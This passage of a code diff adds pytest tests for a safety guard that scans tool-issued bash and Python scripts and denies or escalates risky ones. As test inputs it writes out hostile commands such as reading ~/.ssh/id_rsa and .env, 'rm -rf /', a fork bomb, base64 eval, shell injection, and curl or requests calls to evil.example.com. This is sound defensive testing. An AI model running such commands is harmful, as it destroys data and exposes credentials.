+@pytest.fixture +def guard(strict_policy_dict): + return ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + + +def scan(guard, script): + return guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.BASH, script=script, + )) + + +def test_safe_bash_allows(guard): + report = scan(guard, "echo hello\npwd\nls -la\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_recursive_delete_denies(guard): + report = scan(guard, "rm -rf /tmp/x\n") + assert "FILE001_RECURSIVE_DELETE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_credential_read_denies(guard): + report = scan(guard, "cat ~/.ssh/id_rsa\n") + assert "FILE003_CREDENTIAL_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_dotenv_read_denies(guard): + report = scan(guard, "cat .env\n") + assert "FILE004_DOTENV_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_non_allowlist_network_denies(guard): + report = scan(guard, "curl https://evil.example.com/x\n") + assert "NET001_DOMAIN_NOT_ALLOWED" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_allowlist_network_allows(guard): + report = scan(guard, "curl https://api.github.com/x\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_pip_install_denies(guard): + report = scan(guard, "pip install numpy\n") + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_apt_install_denies(guard): + report = scan(guard, "apt-get install -y curl\n") + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_pipeline_review(guard): + report = scan(guard, "ls | grep foo\n") + assert "PROC003_SHELL_OPERATOR" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_privilege_escalation_denies(guard): + report = scan(guard, "sudo ls\n") + assert "PROC004_PRIVILEGE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_fork_bomb_denies(guard): + report = scan(guard, ":(){ :|:& };\n") + assert "RES002_FORK_BOMB" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_long_sleep_denies(guard): + report = scan(guard, "sleep 120\n") + assert "RES003_LONG_SLEEP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_unbounded_loop_denies(guard): + report = scan(guard, "while true; do echo x; done\n") + assert "RES001_UNBOUNDED_LOOP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_dynamic_eval_review(guard): + report = scan(guard, "eval \"$(base64 -d <<<'xxx')\"\n") + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + + +def test_shebang_and_comment_ignored(guard): + report = scan(guard, "#!/usr/bin/env bash\n# comment\necho hi\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_secret_env_to_echo_denies(guard): + report = scan(guard, "echo \"token=$API_TOKEN\"\n") + assert "SECRET001_LOG_SINK" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_unbalanced_quote_yields_parse_review(guard): + report = scan(guard, "echo 'hello\n") + assert "PARSE001_UNCERTAIN" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_quoted_separator_not_split(guard): + # ``'; rm -rf /'`` is inside single quotes; lexer must not split. + report = scan(guard, "echo '; rm -rf /'\n") + # echo is safe, no shell_operator finding should fire on quoted text + assert "PROC003_SHELL_OPERATOR" not in report.rule_ids diff --git a/tests/tool_safety/test_cli.py b/tests/tool_safety/test_cli.py new file mode 100644 index 00000000..7bdb72d9 --- /dev/null +++ b/tests/tool_safety/test_cli.py @@ -0,0 +1,78 @@ +"""Tests for the safety CLI.""" + +from __future__ import annotations + +import json +import subprocess +import sys +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[2] +CLI = REPO_ROOT / "scripts" / "tool_safety_check.py" +POLICY = REPO_ROOT / "examples" / "tool_safety" / "tool_safety_policy.yaml" + + +def _run_cli(*args: str) -> tuple[int, str, str]: + cmd = [sys.executable, str(CLI), "--policy", str(POLICY), *args] + proc = subprocess.run(cmd, capture_output=True, text=True, + cwd=str(REPO_ROOT)) + return proc.returncode, proc.stdout, proc.stderr + + +def test_single_allow_exit_0(): + rc, out, err = _run_cli( + "--language", "python", + "--script", "print('hello')", + "--tool-name", "test", + ) + assert rc == 0 + payload = json.loads(out) + assert payload["decision"] == "allow" + + +def test_single_deny_exit_2(): + rc, out, err = _run_cli( + "--language", "python", + "--script", "import shutil\nshutil.rmtree('/tmp/x')", + "--tool-name", "test", + ) + assert rc == 2 + payload = json.loads(out) + assert payload["decision"] == "deny" + + +def test_review_exit_3(): + rc, out, err = _run_cli( + "--language", "bash", + "--script", "ls | grep foo", + ) + assert rc == 3 + + +def test_invalid_policy_exit_4(tmp_path): + cmd = [sys.executable, str(CLI), "--policy", + str(tmp_path / "missing.yaml"), "--script", "print(1)"] + proc = subprocess.run(cmd, capture_output=True, text=True, + cwd=str(REPO_ROOT)) + assert proc.returncode == 4 + + +def test_manifest_writes_output(tmp_path): + manifest = REPO_ROOT / "examples" / "tool_safety" / "samples" / "manifest.yaml" + output = tmp_path / "out.json" + audit = tmp_path / "audit.jsonl" + cmd = [sys.executable, str(CLI), "--policy", str(POLICY), + "--manifest", str(manifest), + "--manifest-output", str(output), + "--audit-file", str(audit)] + proc = subprocess.run(cmd, capture_output=True, text=True, + cwd=str(REPO_ROOT)) + assert output.exists() + payload = json.loads(output.read_text(encoding="utf-8")) + assert len(payload) == 14 + # Audit file has one line per sample. + lines = [ln for ln in audit.read_text(encoding="utf-8").splitlines() + if ln.strip()] + assert len(lines) == 14 diff --git a/tests/tool_safety/test_cross_field_scanner.py b/tests/tool_safety/test_cross_field_scanner.py new file mode 100644 index 00000000..2b827713 --- /dev/null +++ b/tests/tool_safety/test_cross_field_scanner.py @@ -0,0 +1,102 @@ +"""Tests for the cross-field scanner.""" + +from __future__ import annotations + +import pytest + +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from tool.safety._policy import load_safety_policy_dict + + +@pytest.fixture +def guard(strict_policy_dict): + return ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + + +def test_denied_cwd_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.BASH, + script="echo hi", + cwd="/etc", + ) + report = guard.scan(request) + assert "FILE002_DENIED_WRITE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_escaping_cwd_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.BASH, + script="echo hi", + cwd="../../etc", + ) + report = guard.scan(request) + assert report.decision == SafetyDecision.DENY + + +def test_timeout_over_limit_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="print('hi')", + requested_timeout_seconds=120, + ) + report = guard.scan(request) + assert "RES003_LONG_SLEEP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_denied_executable_in_argv_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.BASH, + script="echo hi", + argv=("sudo", "ls"), + ) + report = guard.scan(request) + assert any("PROC001_PROCESS_EXEC" == r for r in report.rule_ids) + assert report.decision == SafetyDecision.DENY + + +def test_sensitive_env_triggers_review(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="print('hi')", + env={"API_TOKEN": "abc"}, + ) + report = guard.scan(request) + assert "SECRET001_LOG_SINK" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_output_budget_enforced(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="print('hi')", + requested_output_bytes=4096, + ) + report = guard.scan(request) + assert "RES005_LARGE_WRITE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_execution_capable_without_mapping_reviews(strict_policy_dict): + """A tool flagged execution_capable but absent from policy.tools and + the builtin adapter set must produce a review finding.""" + + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + request = SafetyScanRequest( + tool_name="weird_tool", + language=ScriptLanguage.UNKNOWN, + script="", + metadata={"execution_capable": True, + "adapter_id": "weird_tool"}, # not in policy.tools + ) + report = guard.scan(request) + assert "PARSE001_UNCERTAIN" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW diff --git a/tests/tool_safety/test_filter.py b/tests/tool_safety/test_filter.py new file mode 100644 index 00000000..593f3072 --- /dev/null +++ b/tests/tool_safety/test_filter.py @@ -0,0 +1,76 @@ +"""Tests for the ToolScriptSafetyFilter.""" + +from __future__ import annotations + +import pytest + +from tool.safety._audit import InMemoryAuditSink +from tool.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import SafetyDecision, ToolKind +from tool.safety._policy import load_safety_policy_dict + + +@pytest.fixture +def flt(strict_policy_dict): + policy = load_safety_policy_dict(strict_policy_dict) + guard = ToolSafetyGuard(policy) + sink = InMemoryAuditSink() + return ToolScriptSafetyFilter(guard, audit_sink=sink) + + +def test_check_returns_decision_and_report(flt): + decision, report = flt.check( + "workspace_exec", {"command": "echo hi"}, + tool_kind=ToolKind.TOOL, + ) + assert decision == SafetyDecision.ALLOW + assert report.rule_ids == ("SAFE000",) + assert len(flt.audit_sink.events) == 1 # type: ignore[attr-defined] + + +def test_check_blocks_dangerous(flt): + decision, report = flt.check( + "workspace_exec", {"command": "rm -rf /tmp/x"}, + ) + assert decision == SafetyDecision.DENY + + +def test_enforce_raises_on_block(flt): + with pytest.raises(BlockedExecutionError): + flt.enforce("workspace_exec", {"command": "rm -rf /tmp/x"}) + + +def test_enforce_returns_report_on_allow(flt): + report = flt.enforce("workspace_exec", {"command": "echo hi"}) + assert report.decision == SafetyDecision.ALLOW + + +def test_terminal_marker_is_true(flt): + assert flt.terminal_before_handler is True + + +def test_audit_event_one_per_call(flt): + for _ in range(3): + flt.check("workspace_exec", {"command": "echo hi"}) + assert len(flt.audit_sink.events) == 3 # type: ignore[attr-defined] + + +def test_filter_redacts_env_in_trace(flt): + flt.check("workspace_exec", { + "command": "echo hi", + "env": {"SECRET": "value"}, + }) + # No direct way to inspect ContextVar from outside; verify the call + # did not raise and audit did not leak env value. + last_event = flt.audit_sink.events[-1] # type: ignore[attr-defined] + payload = last_event.model_dump_json() + assert "value" not in payload + + +def test_skill_run_adapter(flt): + decision, _ = flt.check( + "skill_run", {"command": "echo hi"}, + tool_kind=ToolKind.SKILL, + ) + assert decision == SafetyDecision.ALLOW diff --git a/tests/tool_safety/test_guard.py b/tests/tool_safety/test_guard.py new file mode 100644 index 00000000..9133ecf3 --- /dev/null +++ b/tests/tool_safety/test_guard.py @@ -0,0 +1,80 @@ +"""Tests for the guard aggregation and decision engine.""" + +from __future__ import annotations + +import pytest + +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from tool.safety._policy import load_safety_policy_dict + + +def test_allow_path_uses_safe000(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="print('hello')", + )) + assert report.decision == SafetyDecision.ALLOW + assert report.rule_ids == ("SAFE000",) + assert report.risk_level.label() == "info" + + +def test_report_has_required_fields(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="import shutil\nshutil.rmtree('/tmp/x')", + )) + assert report.decision == SafetyDecision.DENY + assert report.risk_level.label() in {"critical", "high", "medium"} + assert report.rule_ids + assert report.findings + f = report.findings[0] + assert f.evidence.snippet + assert f.recommendation + assert report.policy_hash + assert report.script_sha256 + assert report.scan_duration_ms >= 0 + + +def test_deduplicate_keeps_unique(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + script = "import os, subprocess\nos.system('rm -rf /')\nsubprocess.run('rm -rf /', shell=True)\n" + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + rule_ids = [f.rule_id for f in report.findings] + # Same rule can appear multiple times for distinct evidence, but the + # rule_ids tuple is sorted+unique. + assert report.rule_ids == tuple(sorted(set(rule_ids))) + + +def test_policy_hash_propagates(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + request = SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="print('a')", + ) + report = guard.scan(request) + assert report.policy_hash == guard.policy.hash + + +def test_duplicate_rule_ids_rejected(strict_policy_dict): + from tool.safety._python_scanner import PythonScannerRule + from tool.safety._exceptions import SafetyGuardError + + policy = load_safety_policy_dict(strict_policy_dict) + with pytest.raises(SafetyGuardError): + ToolSafetyGuard( + policy, + rules=[PythonScannerRule(), PythonScannerRule()], + ) + + +def test_empty_script_yields_allow(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script="", + )) + assert report.decision == SafetyDecision.ALLOW diff --git a/tests/tool_safety/test_integration.py b/tests/tool_safety/test_integration.py new file mode 100644 index 00000000..82f24abf --- /dev/null +++ b/tests/tool_safety/test_integration.py @@ -0,0 +1,153 @@ +"""Integration tests: manifest samples must match expected decisions. + +These tests verify the public manifest in +``examples/tool_safety/samples/manifest.yaml``. Per the issue acceptance +criteria: every sample must produce a structured report, high-risk +detection must be >= 90%, safe false positives <= 10%, and the +key-credential-delete-non-allowlist categories must be 100%. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest +import yaml + +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from tool.safety._policy import load_safety_policy + + +REPO_ROOT = Path(__file__).resolve().parents[2] +POLICY_PATH = REPO_ROOT / "examples" / "tool_safety" / "tool_safety_policy.yaml" +MANIFEST_PATH = REPO_ROOT / "examples" / "tool_safety" / "samples" / "manifest.yaml" + + +@pytest.fixture(scope="module") +def guard(): + return ToolSafetyGuard(load_safety_policy(POLICY_PATH)) + + +@pytest.fixture(scope="module") +def manifest(): + data = yaml.safe_load(MANIFEST_PATH.read_text(encoding="utf-8")) + return data["samples"] + + +@pytest.fixture(scope="module") +def scan_results(guard, manifest): + results = [] + base = MANIFEST_PATH.parent + for sample in manifest: + file_path = base / sample["file"] + script = file_path.read_text(encoding="utf-8") + request = SafetyScanRequest( + tool_name="integration", + language=ScriptLanguage(sample["language"]), + script=script, + ) + report = guard.scan(request) + results.append((sample, report)) + return results + + +def test_every_sample_produces_report(scan_results): + assert len(scan_results) == 14 + for sample, report in scan_results: + assert report.report_id + assert report.decision in ( + SafetyDecision.ALLOW, + SafetyDecision.DENY, + SafetyDecision.NEEDS_HUMAN_REVIEW, + ) + assert report.rule_ids + assert report.script_sha256 + assert report.policy_hash + + +def test_expected_decisions_match(scan_results): + mismatches = [] + for sample, report in scan_results: + expected = sample["expected_decision"] + actual = report.decision.value + if expected == "allow" and actual != "allow": + mismatches.append((sample["name"], expected, actual)) + elif expected == "deny" and actual != "deny": + mismatches.append((sample["name"], expected, actual)) + elif expected == "needs_human_review" \ + and actual != "needs_human_review": + mismatches.append((sample["name"], expected, actual)) + assert not mismatches, f"mismatches: {mismatches}" + + +def test_detection_rate_high_risk(scan_results): + high_risk = [(s, r) for s, r in scan_results + if s["expected_decision"] == "deny"] + detected = [(s, r) for s, r in high_risk + if r.decision == SafetyDecision.DENY] + rate = len(detected) / len(high_risk) if high_risk else 1.0 + assert rate >= 0.9, f"detection rate {rate:.2%} below 90%" + + +def test_safe_false_positive_rate(scan_results): + safe = [(s, r) for s, r in scan_results + if s["expected_decision"] == "allow"] + if not safe: + return + flagged = [(s, r) for s, r in safe + if r.decision != SafetyDecision.ALLOW] + rate = len(flagged) / len(safe) + assert rate <= 0.1, f"false positive rate {rate:.2%} above 10%" + + +def test_required_categories_100_pct(scan_results): + """Credential read, recursive delete, and non-allowlist network + must be detected 100% of the time.""" + + required = { + "FILE003_CREDENTIAL_READ", + "FILE001_RECURSIVE_DELETE", + "NET001_DOMAIN_NOT_ALLOWED", + "FILE004_DOTENV_READ", + } + for sample, report in scan_results: + if "expected_rule_ids" in sample: + for rule in sample["expected_rule_ids"]: + if rule in required: + assert rule in report.rule_ids, \ + f"{sample['name']}: expected {rule}, got {report.rule_ids}" + + +def test_policy_changes_decision_without_code_change(strict_policy_dict): + """Tweak a domain in the YAML; verify behavior changes without code.""" + + import copy + from tool.safety._policy import load_safety_policy_dict + + base = copy.deepcopy(strict_policy_dict) + # Domain NOT allowlisted in base policy -> deny. + base_guard = ToolSafetyGuard(load_safety_policy_dict(base)) + request = SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="import requests\nrequests.get('https://my.api.example.com')\n", + ) + base_report = base_guard.scan(request) + assert base_report.decision == SafetyDecision.DENY + + # Allow my.api.example.com -> allow. + modified = copy.deepcopy(base) + modified["network"] = {"allow_domains": ["my.api.example.com"]} + modified_guard = ToolSafetyGuard(load_safety_policy_dict(modified)) + modified_report = modified_guard.scan(request) + assert modified_report.decision == SafetyDecision.ALLOW + + +def test_report_serialization_invariants(scan_results): + """Reports must never leak raw script or env.""" + + for sample, report in scan_results: + payload = report.model_dump_json() + lowered = payload.lower() + assert "\"script\":" not in payload + # The script sha256 hash appears as "script_sha256" only. diff --git a/tests/tool_safety/test_models.py b/tests/tool_safety/test_models.py new file mode 100644 index 00000000..5a1fa1e9 --- /dev/null +++ b/tests/tool_safety/test_models.py @@ -0,0 +1,143 @@ +"""Tests for data models and invariants.""" + +from __future__ import annotations + +import json + +import pytest +from pydantic import ValidationError + +from tool.safety._models import ( + SAFE_RULE_ID, + Evidence, + RiskCategory, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) + + +def test_request_repr_hides_script_and_env(): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="secret-script-body", + env={"API_TOKEN": "abc123"}, + ) + rendered = repr(request) + assert "secret-script-body" not in rendered + assert "abc123" not in rendered + + +def test_frozen_report_immutable(): + report = SafetyReport( + report_id="r", + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="ok", + policy_hash="p", + policy_version="1", + script_sha256="s", + scan_duration_ms=1.0, + redacted=False, + ) + with pytest.raises(Exception): + report.decision = SafetyDecision.DENY # type: ignore[misc] + + +def test_report_json_uses_label_for_risk_level(): + report = SafetyReport( + report_id="r", + decision=SafetyDecision.DENY, + risk_level=RiskLevel.CRITICAL, + rule_ids=("FILE001_RECURSIVE_DELETE",), + findings=(), + recommendation="x", + policy_hash="p", + policy_version="1", + script_sha256="s", + scan_duration_ms=2.0, + redacted=True, + ) + data = json.loads(report.model_dump_json()) + assert data["risk_level"] == "critical" + assert data["decision"] == "deny" + obj_keys = set(data.keys()) + assert "script" not in obj_keys + assert "argv" not in obj_keys + assert "env" not in obj_keys + assert "cwd" not in obj_keys + + +def test_extra_forbid_on_request(): + with pytest.raises(ValidationError): + SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + random_field="oops", # type: ignore[call-arg] + ) + + +def test_combine_reports_takes_worst_decision(): + allow_report = SafetyReport( + report_id="a", + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="", + policy_hash="p", + policy_version="1", + script_sha256="x", + scan_duration_ms=0.1, + redacted=False, + ) + deny_report = SafetyReport( + report_id="b", + decision=SafetyDecision.DENY, + risk_level=RiskLevel.CRITICAL, + rule_ids=("FILE001_RECURSIVE_DELETE",), + findings=( + SafetyFinding( + rule_id="FILE001_RECURSIVE_DELETE", + category=RiskCategory.FILE, + risk_level=RiskLevel.CRITICAL, + decision=SafetyDecision.DENY, + evidence=Evidence(snippet="x"), + recommendation="d", + ), + ), + recommendation="d", + policy_hash="p", + policy_version="1", + script_sha256="y", + scan_duration_ms=0.2, + redacted=False, + ) + combined = SafetyReport.combine( + [allow_report, deny_report], + report_id="c", + policy_hash="p", + policy_version="1", + scan_duration_ms=0.3, + ) + assert combined.decision == SafetyDecision.DENY + assert combined.risk_level == RiskLevel.CRITICAL + + +def test_combine_empty_yields_allow(): + combined = SafetyReport.combine( + [], + report_id="c", + policy_hash="p", + policy_version="1", + scan_duration_ms=0.0, + ) + assert combined.decision == SafetyDecision.ALLOW + assert combined.rule_ids == (SAFE_RULE_ID,) diff --git a/tests/tool_safety/test_performance.py b/tests/tool_safety/test_performance.py new file mode 100644 index 00000000..0dc35a61 --- /dev/null +++ b/tests/tool_safety/test_performance.py @@ -0,0 +1,62 @@ +"""Performance test: scan a 500-line Python script in under 1 second.""" + +from __future__ import annotations + +import time + +import pytest + +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from tool.safety._policy import load_safety_policy_dict + + +def _make_large_script(lines: int = 500) -> str: + body = ["import os", "import subprocess"] + for i in range(lines - 5): + body.append(f"x_{i} = {i}") + # The dangerous call is on the last line; the scanner must still + # reach it after walking the whole tree. + body.append("subprocess.run('rm -rf /', shell=True)") + body.append("") + return "\n".join(body) + + +def test_scan_500_lines_under_one_second(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + script = _make_large_script(500) + # Warm up so import / regex compile cost does not skew the result. + guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + samples = [] + for _ in range(5): + start = time.perf_counter() + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + samples.append(time.perf_counter() - start) + p95 = sorted(samples)[int(len(samples) * 0.95) - 1] \ + if len(samples) > 1 else samples[0] + assert report.decision == SafetyDecision.DENY + assert p95 < 1.0, f"p95={p95:.3f}s exceeds 1.0s budget" + + +def test_scan_bash_500_lines_under_one_second(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + lines = ["# comment"] * 495 + ["rm -rf /tmp/x"] + script = "\n".join(lines) + # Warm up. + guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.BASH, script=script, + )) + samples = [] + for _ in range(5): + start = time.perf_counter() + guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.BASH, script=script, + )) + samples.append(time.perf_counter() - start) + p95 = sorted(samples)[int(len(samples) * 0.95) - 1] \ + if len(samples) > 1 else samples[0] + assert p95 < 1.0, f"p95={p95:.3f}s exceeds 1.0s budget" diff --git a/tests/tool_safety/test_policy.py b/tests/tool_safety/test_policy.py new file mode 100644 index 00000000..357f2a3d --- /dev/null +++ b/tests/tool_safety/test_policy.py @@ -0,0 +1,116 @@ +"""Tests for policy loading, normalization, and hashing.""" + +from __future__ import annotations + +import copy +from pathlib import Path + +import pytest + +from tool.safety._exceptions import SafetyPolicyError +from tool.safety._policy import ( + POLICY_VERSION, + load_safety_policy, + load_safety_policy_dict, + match_domain, + match_path_glob, +) + + +def write_policy(tmp_path: Path, data: dict) -> str: + import yaml as _yaml + + path = tmp_path / "policy.yaml" + path.write_text(_yaml.safe_dump(data), encoding="utf-8") + return str(path) + + +def test_load_example_policy(example_policy_path): + policy = load_safety_policy(example_policy_path) + assert policy.version == POLICY_VERSION + assert policy.hash + assert "api.github.com" in policy.network.allow_domains + + +def test_load_unknown_field_fails(tmp_path): + path = write_policy(tmp_path, {"version": "1", "unknown_field": True}) + with pytest.raises(SafetyPolicyError): + load_safety_policy(path) + + +def test_load_invalid_version_fails(tmp_path): + path = write_policy(tmp_path, {"version": "99"}) + with pytest.raises(SafetyPolicyError): + load_safety_policy(path) + + +def test_negative_limit_rejected(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["limits"] = {"max_timeout_seconds": -1} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_invalid_rule_override_rejected(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["rule_overrides"] = {"FILE001_RECURSIVE_DELETE": "delete-please"} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_invalid_decision_default_rejected(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["defaults"] = {"unknown_construct": "permit"} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_wildcard_domain_must_start_with_star(strict_policy_dict): + bad = copy.deepcopy(strict_policy_dict) + bad["network"] = {"allow_domains": ["foo.*.example.com"]} + with pytest.raises(SafetyPolicyError): + load_safety_policy_dict(bad) + + +def test_match_domain_exact_and_wildcard(): + allowed = ("api.github.com", "*.internal.example.com") + assert match_domain("api.github.com", allowed) + assert match_domain("API.GITHUB.COM", allowed) + assert match_domain("service.internal.example.com", allowed) + assert not match_domain("internal.example.com", allowed) + assert not match_domain("a.b.internal.example.com", allowed) + assert not match_domain("evil.example.com", allowed) + + +def test_match_path_glob_lexical(): + assert match_path_glob("~/.ssh/id_rsa", "~/.ssh") + assert match_path_glob("/etc/passwd", "/etc") + assert match_path_glob(".env", ".env") + assert not match_path_glob("/home/user/code", "/etc") + + +def test_policy_hash_stable_across_formatting(tmp_path, strict_policy_dict): + import yaml as _yaml + + p1 = tmp_path / "a.yaml" + p2 = tmp_path / "b.yaml" + p1.write_text(_yaml.safe_dump(strict_policy_dict), encoding="utf-8") + p2.write_text(_yaml.safe_dump(strict_policy_dict, sort_keys=False), + encoding="utf-8") + a = load_safety_policy(p1) + b = load_safety_policy(p2) + assert a.hash == b.hash + + +def test_policy_hash_changes_when_lists_change(strict_policy_dict): + p1 = load_safety_policy_dict(strict_policy_dict) + modified = copy.deepcopy(strict_policy_dict) + modified["commands"]["allow"] = list(modified["commands"]["allow"]) + ["go"] + p2 = load_safety_policy_dict(modified) + assert p1.hash != p2.hash + + +def test_sensitive_env_key_patterns_default(): + policy = load_safety_policy_dict({}) + assert policy.sensitive_env_key_patterns + assert any("KEY" in p for p in policy.sensitive_env_key_patterns) diff --git a/tests/tool_safety/test_python_scanner.py b/tests/tool_safety/test_python_scanner.py new file mode 100644 index 00000000..45f6b2b3 --- /dev/null +++ b/tests/tool_safety/test_python_scanner.py @@ -0,0 +1,183 @@ +"""Tests for the Python AST scanner.""" + +from __future__ import annotations + +import pytest + +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from tool.safety._policy import load_safety_policy_dict + + +@pytest.fixture +def guard(strict_policy_dict): + return ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + + +def scan(guard, script): + return guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + + +def test_recursive_delete_denies(guard): + report = scan(guard, "import shutil\nshutil.rmtree('/tmp/x')\n") + assert report.decision == SafetyDecision.DENY + assert "FILE001_RECURSIVE_DELETE" in report.rule_ids + + +def test_credential_read_denies(guard): + script = "open('/home/u/.ssh/id_rsa').read()\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.DENY + assert "FILE003_CREDENTIAL_READ" in report.rule_ids + + +def test_pathlib_credential_read_denies(guard): + script = ( + "from pathlib import Path\n" + "path = Path('/home/u') / '.ssh' / 'id_rsa'\n" + "print(path.read_text())\n" + ) + report = scan(guard, script) + assert "FILE003_CREDENTIAL_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_dotenv_read_denies(guard): + report = scan(guard, "open('.env').read()\n") + assert "FILE004_DOTENV_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_non_allowlist_network_denies(guard): + script = "import requests\nrequests.get('https://evil.example.com')\n" + report = scan(guard, script) + assert "NET001_DOMAIN_NOT_ALLOWED" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_allowlist_network_allows(guard): + script = "import requests\nrequests.get('https://api.github.com/x')\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.ALLOW + + +def test_fstring_allowlist_network_allows(guard): + script = "import requests\nrequests.get(f'https://api.github.com/users/{name}')\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.ALLOW + + +def test_shell_injection_denies(guard): + script = "import subprocess\nsubprocess.run('ls; rm -rf /', shell=True)\n" + report = scan(guard, script) + assert "PROC002_SHELL_INJECTION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_allowed_subprocess_allows(guard): + script = "import subprocess\nsubprocess.run(['python', '-V'])\n" + report = scan(guard, script) + assert report.decision == SafetyDecision.ALLOW + + +def test_pip_install_denies(guard): + script = "import subprocess\nsubprocess.run(['pip', 'install', 'numpy'])\n" + report = scan(guard, script) + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_python_m_pip_install_denies(guard): + script = "import subprocess\nsubprocess.run(['python', '-m', 'pip', 'install', 'numpy'])\n" + report = scan(guard, script) + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_unbounded_while_true_denies(guard): + report = scan(guard, "while True:\n pass\n") + assert "RES001_UNBOUNDED_LOOP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_long_sleep_denies(guard): + report = scan(guard, "import time\ntime.sleep(60)\n") + assert "RES003_LONG_SLEEP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_secret_to_print_denies(guard): + script = "import 